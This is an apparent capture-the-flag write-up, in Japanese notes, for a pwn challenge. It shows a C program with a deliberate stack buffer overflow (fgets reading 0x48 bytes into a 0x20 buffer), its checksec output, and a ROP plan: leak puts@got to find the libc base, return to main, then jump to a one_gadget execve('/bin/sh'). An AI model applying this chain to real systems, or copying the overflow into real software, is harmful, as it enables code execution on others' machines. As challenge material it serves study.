パワー・オーバー・パワー
// gcc chal.c -o chal -no-pie -fno-stack-protector
#include <stdio.h>
__asm__("pop %rax\\nret\\n");
int main(void) {
char buf[0x20];
puts("what's your name");
fgets(buf, 0x48, stdin);
return 0;
}
__attribute__((constructor)) void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
> checksec chal
[*] '/root/alpaca-bside/useful-gadget/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
puts@got をリークして libc base を求め入力前に戻るone_gadget に飛ぶ(それかsystem(’/bin/sh’)を呼ぶ)puts(puts@got)を実行してputs@libcをleakする。さらにputs@pltに戻る。
入力レイアウト
A * 0x20rbp = 0x404f00
fgets の書き込み先がrbp-0x20となる。rip : ROP
0x401176 (pop rax; ret)puts@got0x40118b (main内のmov rdi, rax; call puts@plt)次のガジェットを使う
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp